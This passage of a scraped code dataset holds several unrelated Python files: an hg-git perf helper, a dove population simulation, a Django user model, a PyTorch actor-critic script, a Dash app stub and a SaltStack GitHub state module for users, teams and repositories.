(best of %d)', count)\n    fm.plain('\\n')\n\n@command('perfgitloadmap')\ndef perfgitloadmap(ui, repo):\n    timer, fm = gettimer(ui)\n    timer(repo.githandler.load_map)\n    fm.end()\n\n@command('perfgitsavemap')\ndef perfgitsavemap(ui, repo):\n    timer, fm = gettimer(ui)\n    repo.githandler.load_map()\n    fd, f = tempfile.mkstemp(prefix='.git-mapfile-', dir=repo.path)\n    basename = os.path.basename(f)\n    try:\n        timer(lambda: repo.githandler.save_map(basename))\n    finally:\n        os.unlink(f)\n    fm.end()\n", "repo_name": "schacon/hg-git", "sub_path": "contrib/hggitperf.py", "file_name": "hggitperf.py", "file_ext": "py", "file_size_in_byte": 2316, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 625, "dataset": "github-code", "pt": "81", "api": [{"api_name": "mercurial.cmdutil.command", "line_number": 13, "usage_type": "call"}, {"api_name": "mercurial.cmdutil", "line_number": 13, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 23, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 32, "usage_type": "call"}, {"api_name": "time.time", "line_number": 36, "usage_type": "call"}, {"api_name": "os.times", "line_number": 39, "usage_type": "call"}, {"api_name": "time.time", "line_number": 40, "usage_type": "call"}, {"api_name": "time.time", "line_number": 42, "usage_type": "call"}, {"api_name": "os.times", "line_number": 43, "usage_type": "call"}, {"api_name": "tempfile.mkstemp", "line_number": 77, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 78, "usage_type": "call"}, {"api_name": "os.path", "line_number": 78, "usage_type": "attribute"}, {"api_name": "os.unlink", "line_number": 82, "usage_type": "call"}]}
{"seq_id": "28806927127", "text": "import random\nimport matplotlib.pyplot as plt\n\n# Creature referred to as 'dove' because it is not competetive\n\n# Initial populations of doves\ndoves = 10000\n\n# Total number of days the simulation will run for\ndays = 200\n# Number of available locations with food\nlnum = 100\n\npopulation = []\n\n# Each day...\nfor day in range(days):\n    # A dict to store the number of doves occupying a location at any day\n    locations = {}\n    # Intialize each location with zero doves\n    for l in range(lnum):\n        locations[l] = 0\n\n    births = 0\n    deaths = 0\n\n    # For each dove, randomize its location\n    for dove in range(doves):\n        location = random.randint(0, lnum-1)\n        # If vacant, occupy :)\n        if locations[location] < 2:\n            locations[location] += 1\n        # Else, no food, die :(\n        else:\n            deaths += 1\n            print(f'death at {location}')\n\n    # If location only occupied by one dove, can reproduce\n    for location in locations:\n        if locations[location] == 1:\n            print(f'birth at {location}')\n            births += 1\n\n    # Adjust population accordingly\n    doves -= deaths\n    doves += births\n\n    population.append(doves)\n    print(f'Day {day} Summary:\\nPopulation: {doves} Deaths:{deaths} Births: {births}\\n')\n\nplt.plot(population)\nplt.xlabel('Days')\nplt.ylabel('Population')\nplt.show()\n", "repo_name": "gautamdayal/natural-selection", "sub_path": "aggression/doves.py", "file_name": "doves.py", "file_ext": "py", "file_size_in_byte": 1352, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "81", "api": [{"api_name": "random.randint", "line_number": 29, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 51, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 51, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 52, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 52, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 53, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 53, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 54, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 54, "usage_type": "name"}]}
{"seq_id": "32591969636", "text": "# Create your models here.\nfrom django.contrib.auth.models import AbstractBaseUser, PermissionsMixin\nfrom django.db import models\n\nfrom .managers import CustomUserManager\n\n\nclass CustomUser(AbstractBaseUser, PermissionsMixin):\n    \"\"\"Create custom user model\"\"\"\n\n    email = models.EmailField(\"email address\", unique=True, null=False)\n    first_name = models.CharField(\"first_name\", max_length=30)\n    last_name = models.CharField(\"last_name\", max_length=30)\n    date_joined = models.DateTimeField(\"date joined\", auto_now_add=True)\n    last_login = models.DateTimeField(\"last login\", auto_now=True)\n    is_superuser = models.BooleanField(default=False)\n    is_staff = models.BooleanField(default=False)\n    is_admin = models.BooleanField(default=False)\n    is_active = models.BooleanField(default=True)\n\n    USERNAME_FIELD = \"email\"\n    objects = CustomUserManager()\n\n    def __str__(self):\n        return self.email\n", "repo_name": "ahzees/inforce", "sub_path": "inforce/authentication/models.py", "file_name": "models.py", "file_ext": "py", "file_size_in_byte": 917, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "django.contrib.auth.models.AbstractBaseUser", "line_number": 8, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.PermissionsMixin", "line_number": 8, "usage_type": "name"}, {"api_name": "django.db.models.EmailField", "line_number": 11, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 11, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 12, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 12, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 13, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 13, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 14, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 14, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 15, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 15, "usage_type": "name"}, {"api_name": "django.db.models.BooleanField", "line_number": 16, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 16, "usage_type": "name"}, {"api_name": "django.db.models.BooleanField", "line_number": 17, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 17, "usage_type": "name"}, {"api_name": "django.db.models.BooleanField", "line_number": 18, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 18, "usage_type": "name"}, {"api_name": "django.db.models.BooleanField", "line_number": 19, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 19, "usage_type": "name"}, {"api_name": "managers.CustomUserManager", "line_number": 22, "usage_type": "call"}]}
{"seq_id": "12527154726", "text": "import torch\r\nimport torch.optim as optim\r\nimport torch.nn.functional as F\r\nimport torch.nn as nn\r\nfrom utils import *\r\nimport numpy as np\r\nimport gym\r\n\r\nclass ActorCritic(nn.Module):\r\n    def __init__(self,featExtractor,nb_features,action_space,gamma=0.99,device='cpu'):\r\n        super(ActorCritic,self).__init__()\r\n        self.featExtractor = featExtractor\r\n        self.actor = NN(featExtractor.outSize,action_space.n,nb_features)\r\n        self.critic = NN(featExtractor.outSize,1,nb_features)\r\n        \r\n        self.rewards = []\r\n        self.values = []\r\n        self.action_probas = []\r\n        \r\n        self.gamma = gamma\r\n        self.action_space = action_space.n\r\n        self.device = device\r\n        self.train = True\r\n    \r\n    def forward(self,features,train=True):\r\n        proba = F.softmax(self.actor(features),dim=0)\r\n        if train:\r\n            action = np.random.choice(self.action_space,p=proba.cpu().detach().numpy())\r\n        else:\r\n            action = torch.argmax(proba).item()\r\n        value = model.critic(features)\r\n        return action,proba[action],value\r\n    \r\n    def reinitialize_save(self):\r\n        self.action_probas = []\r\n        self.rewards = []\r\n        self.values = []\r\n\r\n\r\ndef play_episode(model,env,T=200,train=True):   \r\n    obs = env.reset()\r\n    model.reinitialize_save()\r\n    sum_reward = 0\r\n    for t in range(T):\r\n        features = torch.Tensor(model.featExtractor.getFeatures(obs)).to(model.device)\r\n        action,action_proba,value = model(features,train)\r\n        new_obs,reward,done,_ = env.step(action)\r\n        \r\n        sum_reward += reward\r\n        model.rewards.append(reward)\r\n        model.values.append(value)\r\n        model.action_probas.append(action_proba)\r\n        \r\n        obs = new_obs\r\n        if done:\r\n            break    \r\n    return sum_reward\r\n\r\ndef update(model,optimizer,criterion):\r\n    if model.rewards == []:\r\n        print(\"No rewards !\")\r\n        return \r\n    gt_returns = [0]\r\n    loss = 0\r\n    \r\n    for reward in model.rewards[::-1]:\r\n        gt_return = reward + model.gamma*gt_returns[-1]\r\n        gt_returns.append(gt_return)\r\n    gt_returns.pop(0)\r\n    gt_returns = torch.tensor(gt_returns[::-1]).to(model.device) \r\n    gt_returns = (gt_returns - gt_returns.mean()) / gt_returns.std()\r\n    \r\n    for gt_return,action_proba,value in zip(gt_returns,model.action_probas,model.values): \r\n        advantage = gt_return - value\r\n        loss -= advantage*torch.log(action_proba) \r\n        loss += criterion(gt_return,value.squeeze(0))\r\n            \r\n    optimizer.zero_grad()\r\n    loss.backward()\r\n    optimizer.step()    \r\n    model.loss = loss.item()\r\n    \r\ndevice = 'cuda' if torch.cuda.is_available() else 'cpu'\r\nconfig = load_yaml('./configs/config_random_cartpole.yaml')\r\nenv = gym.make(config[\"env\"])\r\nopt = load_yaml('./configs/config_random_cartpole.yaml')\r\n\r\nfeatExtractor = opt.featExtractor(env)\r\nnb_features = [128]\r\nmodel = ActorCritic(featExtractor,nb_features,env.action_space,device=device).to(device)\r\n\r\nnb_episodes = 1000\r\nlr = 1e-3\r\noptimizer = optim.Adam(model.parameters(),lr=lr)\r\ncriterion = nn.SmoothL1Loss()\r\ntrain = True\r\n\r\nfor episode in range(nb_episodes):\r\n    if episode%10 == 0:\r\n        reward = play_episode(model,env,train=False)\r\n        if episode%5 == 0:\r\n            print(\"Episode {} \\n\\t reward : {} \".format(episode,reward))\r\n        \r\n    else:\r\n        reward = play_episode(model,env,train=True)\r\n        \r\n        update(model,optimizer,criterion)\r\n        if episode%5 == 0:\r\n            print(\"Episode {} \\n\\t reward : {} \\n\\t Loss : {}\".format(episode,reward,model.loss))\r\n\r\n\r\n\r\n\r\n", "repo_name": "ljp95/masters-assignments", "sub_path": "RLADL/actor-critic.py", "file_name": "actor-critic.py", "file_ext": "py", "file_size_in_byte": 3623, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "torch.nn.Module", "line_number": 9, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 9, "usage_type": "name"}, {"api_name": "torch.nn.functional.softmax", "line_number": 26, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 26, "usage_type": "name"}, {"api_name": "numpy.random.choice", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 28, "usage_type": "attribute"}, {"api_name": "torch.argmax", "line_number": 30, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 45, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 70, "usage_type": "call"}, {"api_name": "torch.log", "line_number": 75, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 83, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 83, "usage_type": "attribute"}, {"api_name": "gym.make", "line_number": 85, "usage_type": "call"}, {"api_name": "torch.optim.Adam", "line_number": 94, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 94, "usage_type": "name"}, {"api_name": "torch.nn.SmoothL1Loss", "line_number": 95, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 95, "usage_type": "name"}]}
{"seq_id": "2084991590", "text": "# How Data Explains the Soccer World\n\n\nimport dash \nimport dash_core_commponents as dcc\nimport dash_html_components as html\nfrom dash.dependencies import Input, Output\n\n# Initialize Dash App --------\napp = dash.Dash(__name__)\n\n# Dataframe to be used\n# df = pd.read_csv('csv_filename')\n\n# Layout -----------------------\napp.layout = html.Div({\n\thtml.H6(\"This is only the main structure for a Dash app... For Now\"),\n\thtml.Div([\"Input Placeholder\",\n\t\tdcc.Input(id='input-1', value='initial value', type='text')\n\t\t]),\n\thtml.Br(),\n\thtml.Div(id='output-1'),\n})\n\n# CallBacks --------------------\n@app.callback(\n\tOutput(component_id='output-1', component_property='children'),\n\tInput(component_id='input-1', component_property='value')\n)\ndef update_output_div(input_value):\n\treturn\t'output: {}'.format(input_value)\n\n\n# Execution --------------------\nif __name__ == '__main__':\n\tapp.run_server(debug-True)", "repo_name": "derrik-hanson/Python_Analysis_xG_Barca_plus", "sub_path": "Manager_Compare_Dash.py", "file_name": "Manager_Compare_Dash.py", "file_ext": "py", "file_size_in_byte": 896, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "dash.Dash", "line_number": 10, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 16, "usage_type": "call"}, {"api_name": "dash_html_components.H6", "line_number": 17, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 18, "usage_type": "call"}, {"api_name": "dash_core_commponents.Input", "line_number": 19, "usage_type": "call"}, {"api_name": "dash_html_components.Br", "line_number": 21, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 22, "usage_type": "call"}, {"api_name": "dash.dependencies.Output", "line_number": 27, "usage_type": "call"}, {"api_name": "dash.dependencies.Input", "line_number": 28, "usage_type": "call"}]}
{"seq_id": "12848902714", "text": "\"\"\"\nGithub User State Module\n\n.. versionadded:: 2016.3.0\n\nThis state is used to ensure presence of users in the Organization.\n\n.. code-block:: yaml\n\n    ensure user test is present in github:\n        github.present:\n            - name: 'Example TestUser1'\n            - email: example@domain.com\n            - username: 'gitexample'\n\"\"\"\n\nimport datetime\nimport logging\nimport time\n\nfrom salt.exceptions import CommandExecutionError\n\nlog = logging.getLogger(__name__)\n\n\ndef __virtual__():\n    \"\"\"\n    Only load if the github module is available in __salt__\n    \"\"\"\n    if \"github.list_users\" in __salt__:\n        return \"github\"\n    return (False, \"github module could not be loaded\")\n\n\ndef present(name, profile=\"github\", **kwargs):\n    \"\"\"\n    Ensure a user is present\n\n    .. code-block:: yaml\n\n        ensure user test is present in github:\n            github.present:\n                - name: 'gitexample'\n\n    The following parameters are required:\n\n    name\n        This is the github handle of the user in the organization\n    \"\"\"\n\n    ret = {\"name\": name, \"changes\": {}, \"result\": None, \"comment\": \"\"}\n\n    target = __salt__[\"github.get_user\"](name, profile=profile, **kwargs)\n\n    # If the user has a valid github handle and is not in the org already\n    if not target:\n        ret[\"result\"] = False\n        ret[\"comment\"] = \"Couldnt find user {}\".format(name)\n    elif isinstance(target, bool) and target:\n        ret[\"comment\"] = \"User {} is already in the org \".format(name)\n        ret[\"result\"] = True\n    elif (\n        not target.get(\"in_org\", False) and target.get(\"membership_state\") != \"pending\"\n    ):\n        if __opts__[\"test\"]:\n            ret[\"comment\"] = \"User {} will be added to the org\".format(name)\n            return ret\n\n        # add the user\n        result = __salt__[\"github.add_user\"](name, profile=profile, **kwargs)\n\n        if result:\n            ret[\"changes\"].setdefault(\"old\", None)\n            ret[\"changes\"].setdefault(\n                \"new\", \"User {} exists in the org now\".format(name)\n            )\n            ret[\"result\"] = True\n        else:\n            ret[\"result\"] = False\n            ret[\"comment\"] = \"Failed to add user {} to the org\".format(name)\n    else:\n        ret[\"comment\"] = \"User {} has already been invited.\".format(name)\n        ret[\"result\"] = True\n\n    return ret\n\n\ndef absent(name, profile=\"github\", **kwargs):\n    \"\"\"\n    Ensure a github user is absent\n\n    .. code-block:: yaml\n\n        ensure user test is absent in github:\n            github.absent:\n                - name: 'Example TestUser1'\n                - email: example@domain.com\n                - username: 'gitexample'\n\n    The following parameters are required:\n\n    name\n        Github handle of the user in organization\n\n    \"\"\"\n    email = kwargs.get(\"email\")\n    full_name = kwargs.get(\"fullname\")\n\n    ret = {\n        \"name\": name,\n        \"changes\": {},\n        \"result\": None,\n        \"comment\": \"User {} is absent.\".format(name),\n    }\n\n    target = __salt__[\"github.get_user\"](name, profile=profile, **kwargs)\n\n    if target:\n        if isinstance(target, bool) or target.get(\"in_org\", False):\n            if __opts__[\"test\"]:\n                ret[\"comment\"] = \"User {} will be deleted\".format(name)\n                ret[\"result\"] = None\n                return ret\n\n            result = __salt__[\"github.remove_user\"](name, profile=profile, **kwargs)\n\n            if result:\n                ret[\"comment\"] = \"Deleted user {}\".format(name)\n                ret[\"changes\"].setdefault(\"old\", \"User {} exists\".format(name))\n                ret[\"changes\"].setdefault(\"new\", \"User {} deleted\".format(name))\n                ret[\"result\"] = True\n            else:\n                ret[\"comment\"] = \"Failed to delete {}\".format(name)\n                ret[\"result\"] = False\n        else:\n            ret[\"comment\"] = \"User {} has already been deleted!\".format(name)\n            ret[\"result\"] = True\n    else:\n        ret[\"comment\"] = \"User {} does not exist\".format(name)\n        ret[\"result\"] = True\n        return ret\n\n    return ret\n\n\ndef team_present(\n    name,\n    description=None,\n    repo_names=None,\n    privacy=\"secret\",\n    permission=\"pull\",\n    members=None,\n    enforce_mfa=False,\n    no_mfa_grace_seconds=0,\n    profile=\"github\",\n    **kwargs\n):\n    \"\"\"\n    Ensure a team is present\n\n    name\n        This is the name of the team in the organization.\n\n    description\n        The description of the team.\n\n    repo_names\n        The names of repositories to add the team to.\n\n    privacy\n        The level of privacy for the team, can be 'secret' or 'closed'. Defaults\n        to secret.\n\n    permission\n        The default permission for new repositories added to the team, can be\n        'pull', 'push' or 'admin'. Defaults to pull.\n\n    members\n        The members belonging to the team, specified as a dict of member name to\n        optional configuration. Options include 'enforce_mfa_from' and 'mfa_exempt'.\n\n    enforce_mfa\n        Whether to enforce MFA requirements on members of the team. If True then\n        all members without `mfa_exempt: True` configured will be removed from\n        the team. Note that `no_mfa_grace_seconds` may be set to allow members\n        a grace period.\n\n    no_mfa_grace_seconds\n        The number of seconds of grace time that a member will have to enable MFA\n        before being removed from the team. The grace period will begin from\n        `enforce_mfa_from` on the member configuration, which defaults to\n        1970/01/01.\n\n    Example:\n\n    .. code-block:: yaml\n\n        Ensure team test is present in github:\n            github.team_present:\n                - name: 'test'\n                - members:\n                    user1: {}\n                    user2: {}\n\n        Ensure team test_mfa is present in github:\n            github.team_present:\n                - name: 'test_mfa'\n                - members:\n                    user1:\n                        enforce_mfa_from: 2016/06/15\n                - enforce_mfa: True\n\n    .. versionadded:: 2016.11.0\n    \"\"\"\n    ret = {\"name\": name, \"changes\": {}, \"result\": True, \"comment\": \"\"}\n\n    target = __salt__[\"github.get_team\"](name, profile=profile, **kwargs)\n    test_comments = []\n\n    if target:  # Team already exists\n        parameters = {}\n        if description is not None and target[\"description\"] != description:\n            parameters[\"description\"] = description\n        if permission is not None and target[\"permission\"] != permission:\n            parameters[\"permission\"] = permission\n        if privacy is not None and target[\"privacy\"] != privacy:\n            parameters[\"privacy\"] = privacy\n\n        if len(parameters) > 0:\n            if __opts__[\"test\"]:\n                test_comments.append(\n                    \"Team properties are set to be edited: {}\".format(parameters)\n                )\n                ret[\"result\"] = None\n            else:\n                result = __salt__[\"github.edit_team\"](\n                    name, profile=profile, **parameters\n                )\n                if result:\n                    ret[\"changes\"][\"team\"] = {\n                        \"old\": \"Team properties were {}\".format(target),\n                        \"new\": \"Team properties (that changed) are {}\".format(\n                            parameters\n                        ),\n                    }\n                else:\n                    ret[\"result\"] = False\n                    ret[\"comment\"] = \"Failed to update team properties.\"\n                    return ret\n\n        manage_repos = repo_names is not None\n        current_repos = set(\n            __salt__[\"github.list_team_repos\"](name, profile=profile).keys()\n        )\n        repo_names = set(repo_names or [])\n\n        repos_to_add = repo_names - current_repos\n        repos_to_remove = current_repos - repo_names if repo_names else []\n\n        if repos_to_add:\n            if __opts__[\"test\"]:\n                test_comments.append(\n                    \"Team {} will have the following repos added: {}.\".format(\n                        name, list(repos_to_add)\n                    )\n                )\n                ret[\"result\"] = None\n            else:\n                for repo_name in repos_to_add:\n                    result = __salt__[\"github.add_team_repo\"](\n                        repo_name, name, profile=profile, **kwargs\n                    )\n                    if result:\n                        ret[\"changes\"][repo_name] = {\n                            \"old\": \"Repo {} is not in team {}\".format(repo_name, name),\n                            \"new\": \"Repo {} is in team {}\".format(repo_name, name),\n                        }\n                    else:\n                        ret[\"result\"] = False\n                        ret[\"comment\"] = \"Failed to add repo {} to team {}.\".format(\n                            repo_name, name\n                        )\n                        return ret\n\n        if repos_to_remove:\n            if __opts__[\"test\"]:\n                test_comments.append(\n                    \"Team {} will have the following repos removed: {}.\".format(\n                        name, list(repos_to_remove)\n                    )\n                )\n                ret[\"result\"] = None\n            else:\n                for repo_name in repos_to_remove:\n                    result = __salt__[\"github.remove_team_repo\"](\n                        repo_name, name, profile=profile, **kwargs\n                    )\n                    if result:\n                        ret[\"changes\"][repo_name] = {\n                            \"old\": \"Repo {} is in team {}\".format(repo_name, name),\n                            \"new\": \"Repo {} is not in team {}\".format(repo_name, name),\n                        }\n                    else:\n                        ret[\"result\"] = False\n                        ret[\n                            \"comment\"\n                        ] = \"Failed to remove repo {} from team {}.\".format(\n                            repo_name, name\n                        )\n                        return ret\n\n    else:  # Team does not exist - it will be created.\n        if __opts__[\"test\"]:\n            ret[\"comment\"] = \"Team {} is set to be created.\".format(name)\n            ret[\"result\"] = None\n            return ret\n\n        result = __salt__[\"github.add_team\"](\n            name,\n            description=description,\n            repo_names=repo_names,\n            permission=permission,\n            privacy=privacy,\n            profile=profile,\n            **kwargs\n        )\n        if result:\n            ret[\"changes\"][\"team\"] = {}\n            ret[\"changes\"][\"team\"][\"old\"] = None\n            ret[\"changes\"][\"team\"][\"new\"] = \"Team {} has been created\".format(name)\n        else:\n            ret[\"result\"] = False\n            ret[\"comment\"] = \"Failed to create team {}.\".format(name)\n            return ret\n\n    manage_members = members is not None\n\n    mfa_deadline = datetime.datetime.utcnow() - datetime.timedelta(\n        seconds=no_mfa_grace_seconds\n    )\n    members_no_mfa = __salt__[\"github.list_members_without_mfa\"](profile=profile)\n\n    members_lower = {}\n    for member_name, info in members or {}.items():\n        members_lower[member_name.lower()] = info\n\n    member_change = False\n    current_members = __salt__[\"github.list_team_members\"](name, profile=profile)\n\n    for member, member_info in members or {}.items():\n        log.info(\"Checking member %s in team %s\", member, name)\n\n        if member.lower() not in current_members:\n            if enforce_mfa and _member_violates_mfa(\n                member, member_info, mfa_deadline, members_no_mfa\n            ):\n                if __opts__[\"test\"]:\n                    test_comments.append(\n                        \"User {} will not be added to the \"\n                        \"team because they do not have MFA.\"\n                        \"\".format(member)\n                    )\n            else:  # Add to team\n                member_change = True\n                if __opts__[\"test\"]:\n                    test_comments.append(\n                        \"User {} set to be added to the team.\".format(member)\n                    )\n                    ret[\"result\"] = None\n                else:\n                    result = __salt__[\"github.add_team_member\"](\n                        member, name, profile=profile, **kwargs\n                    )\n                    if result:\n                        ret[\"changes\"][member] = {}\n                        ret[\"changes\"][member][\n                            \"old\"\n                        ] = \"User {} is not in team {}\".format(member, name)\n                        ret[\"changes\"][member][\"new\"] = \"User {} is in team {}\".format(\n                            member, name\n                        )\n                    else:\n                        ret[\"result\"] = False\n                        ret[\"comment\"] = \"Failed to add user {} to team {}.\".format(\n                            member, name\n                        )\n                        return ret\n\n    for member in current_members:\n        mfa_violation = False\n        if member in members_lower:\n            mfa_violation = _member_violates_mfa(\n                member, members_lower[member], mfa_deadline, members_no_mfa\n            )\n        if (\n            manage_members\n            and member not in members_lower\n            or (enforce_mfa and mfa_violation)\n        ):\n            # Remove from team\n            member_change = True\n            if __opts__[\"test\"]:\n                if mfa_violation:\n                    test_comments.append(\n                        \"User {} set to be removed from the \"\n                        \"team because they do not have MFA.\".format(member)\n                    )\n                else:\n                    test_comments.append(\n                        \"User {} set to be removed from the team.\".format(member)\n                    )\n                ret[\"result\"] = None\n            else:\n                result = __salt__[\"github.remove_team_member\"](\n                    member, name, profile=profile, **kwargs\n                )\n                if result:\n                    extra_changes = \" due to MFA violation\" if mfa_violation else \"\"\n                    ret[\"changes\"][member] = {\n                        \"old\": \"User {} is in team {}\".format(member, name),\n                        \"new\": \"User {} is not in team {}{}\".format(\n                            member, name, extra_changes\n                        ),\n                    }\n                else:\n                    ret[\"result\"] = False\n                    ret[\"comment\"] = \"Failed to remove user {} from team {}.\".format(\n                        member, name\n                    )\n                    return ret\n\n    if member_change:  # Refresh team cache\n        __salt__[\"github.list_team_members\"](\n            name, profile=profile, ignore_cache=False, **kwargs\n        )\n\n    if len(test_comments) > 0:\n        ret[\"comment\"] = \"\\n\".join(test_comments)\n    return ret\n\n\ndef _member_violates_mfa(member, member_info, mfa_deadline, members_without_mfa):\n    if member_info.get(\"mfa_exempt\", False):\n        return False\n    enforce_mfa_from = datetime.datetime.strptime(\n        member_info.get(\"enforce_mfa_from\", \"1970/01/01\"), \"%Y/%m/%d\"\n    )\n    return member.lower() in members_without_mfa and (mfa_deadline > enforce_mfa_from)\n\n\ndef team_absent(name, profile=\"github\", **kwargs):\n    \"\"\"\n    Ensure a team is absent.\n\n    Example:\n\n    .. code-block:: yaml\n\n        ensure team test is present in github:\n            github.team_absent:\n                - name: 'test'\n\n\n    The following parameters are required:\n\n    name\n        This is the name of the team in the organization.\n\n    .. versionadded:: 2016.11.0\n    \"\"\"\n    ret = {\"name\": name, \"changes\": {}, \"result\": None, \"comment\": \"\"}\n\n    target = __salt__[\"github.get_team\"](name, profile=profile, **kwargs)\n\n    if not target:\n        ret[\"comment\"] = \"Team {} does not exist\".format(name)\n        ret[\"result\"] = True\n        return ret\n    else:\n        if __opts__[\"test\"]:\n            ret[\"comment\"] = \"Team {} will be deleted\".format(name)\n            ret[\"result\"] = None\n            return ret\n\n        result = __salt__[\"github.remove_team\"](name, profile=profile, **kwargs)\n\n        if result:\n            ret[\"comment\"] = \"Deleted team {}\".format(name)\n            ret[\"changes\"].setdefault(\"old\", \"Team {} exists\".format(name))\n            ret[\"changes\"].setdefault(\"new\", \"Team {} deleted\".format(name))\n            ret[\"result\"] = True\n        else:\n            ret[\"comment\"] = \"Failed to delete {}\".format(name)\n            ret[\"result\"] = False\n    return ret\n\n\ndef repo_present(\n    name,\n    description=None,\n    homepage=None,\n    private=None,\n    has_issues=None,\n    has_wiki=None,\n    has_downloads=None,\n    auto_init=False,\n    gitignore_template=None,\n    license_template=None,\n    teams=None,\n    profile=\"github\",\n    **kwargs\n):\n    \"\"\"\n    Ensure a repository is present\n\n    name\n        This is the name of the repository.\n\n    description\n        The description of the repository.\n\n    homepage\n        The URL with more information about the repository.\n\n    private\n        The visiblity of the repository. Note that private repositories require\n        a paid GitHub account.\n\n    has_issues\n        Whether to enable issues for this repository.\n\n    has_wiki\n        Whether to enable the wiki for this repository.\n\n    has_downloads\n        Whether to enable downloads for this repository.\n\n    auto_init\n        Whether to create an initial commit with an empty README.\n\n    gitignore_template\n        The desired language or platform for a .gitignore, e.g \"Haskell\".\n\n    license_template\n        The desired LICENSE template to apply, e.g \"mit\" or \"mozilla\".\n\n    teams\n        The teams for which this repo should belong to, specified as a dict of\n        team name to permission ('pull', 'push' or 'admin').\n\n        .. versionadded:: 2017.7.0\n\n    Example:\n\n    .. code-block:: yaml\n\n        Ensure repo my-repo is present in github:\n            github.repo_present:\n                - name: 'my-repo'\n                - description: 'My very important repository'\n\n    .. versionadded:: 2016.11.0\n    \"\"\"\n    ret = {\"name\": name, \"changes\": {}, \"result\": True, \"comment\": \"\"}\n\n    # This is an optimization to cache all repos in the organization up front.\n    # The first use of this state will collect all of the repos and save a bunch\n    # of API calls for future use.\n    __salt__[\"github.list_repos\"](profile=profile)\n\n    try:\n        target = __salt__[\"github.get_repo_info\"](name, profile=profile, **kwargs)\n    except CommandExecutionError:\n        target = None\n\n    given_params = {\n        \"description\": description,\n        \"homepage\": homepage,\n        \"private\": private,\n        \"has_issues\": has_issues,\n        \"has_wiki\": has_wiki,\n        \"has_downloads\": has_downloads,\n        \"auto_init\": auto_init,\n        \"gitignore_template\": gitignore_template,\n        \"license_template\": license_template,\n    }\n\n    # Keep track of current_teams if we've fetched them after creating a new repo\n    current_teams = None\n\n    if target:  # Repo already exists\n        # Some params are only valid on repo creation\n        ignore_params = [\"auto_init\", \"gitignore_template\", \"license_template\"]\n        parameters = {}\n        old_parameters = {}\n        for param_name, param_value in given_params.items():\n            if (\n                param_value is not None\n                and param_name not in ignore_params\n                and target[param_name] is not param_value\n                and target[param_name] != param_value\n            ):\n                parameters[param_name] = param_value\n                old_parameters[param_name] = target[param_name]\n\n        if len(parameters) > 0:\n            repo_change = {\n                \"old\": \"Repo properties were {}\".format(old_parameters),\n                \"new\": \"Repo properties (that changed) are {}\".format(parameters),\n            }\n            if __opts__[\"test\"]:\n                ret[\"changes\"][\"repo\"] = repo_change\n                ret[\"result\"] = None\n            else:\n                result = __salt__[\"github.edit_repo\"](\n                    name, profile=profile, **parameters\n                )\n                if result:\n                    ret[\"changes\"][\"repo\"] = repo_change\n                else:\n                    ret[\"result\"] = False\n                    ret[\"comment\"] = \"Failed to update repo properties.\"\n                    return ret\n\n    else:  # Repo does not exist - it will be created.\n        repo_change = {\"old\": None, \"new\": \"Repo {} has been created\".format(name)}\n        if __opts__[\"test\"]:\n            ret[\"changes\"][\"repo\"] = repo_change\n            ret[\"result\"] = None\n        else:\n            add_params = dict(given_params)\n            add_params.update(kwargs)\n            result = __salt__[\"github.add_repo\"](name, **add_params)\n\n            if not result:\n                ret[\"result\"] = False\n                ret[\"comment\"] = \"Failed to create repo {}.\".format(name)\n                return ret\n\n            # Turns out that trying to fetch teams for a new repo can 404 immediately\n            # after repo creation, so this waits until we can fetch teams successfully\n            # before continuing.\n            for attempt in range(3):\n                time.sleep(1)\n                try:\n                    current_teams = __salt__[\"github.get_repo_teams\"](\n                        name, profile=profile, **kwargs\n                    )\n                    break\n                except CommandExecutionError as e:\n                    log.info(\"Attempt %s to fetch new repo %s failed\", attempt, name)\n\n            if current_teams is None:\n                ret[\"result\"] = False\n                ret[\"comment\"] = \"Failed to verify repo {} after creation.\".format(name)\n                return ret\n\n            ret[\"changes\"][\"repo\"] = repo_change\n\n    if teams is not None:\n        if 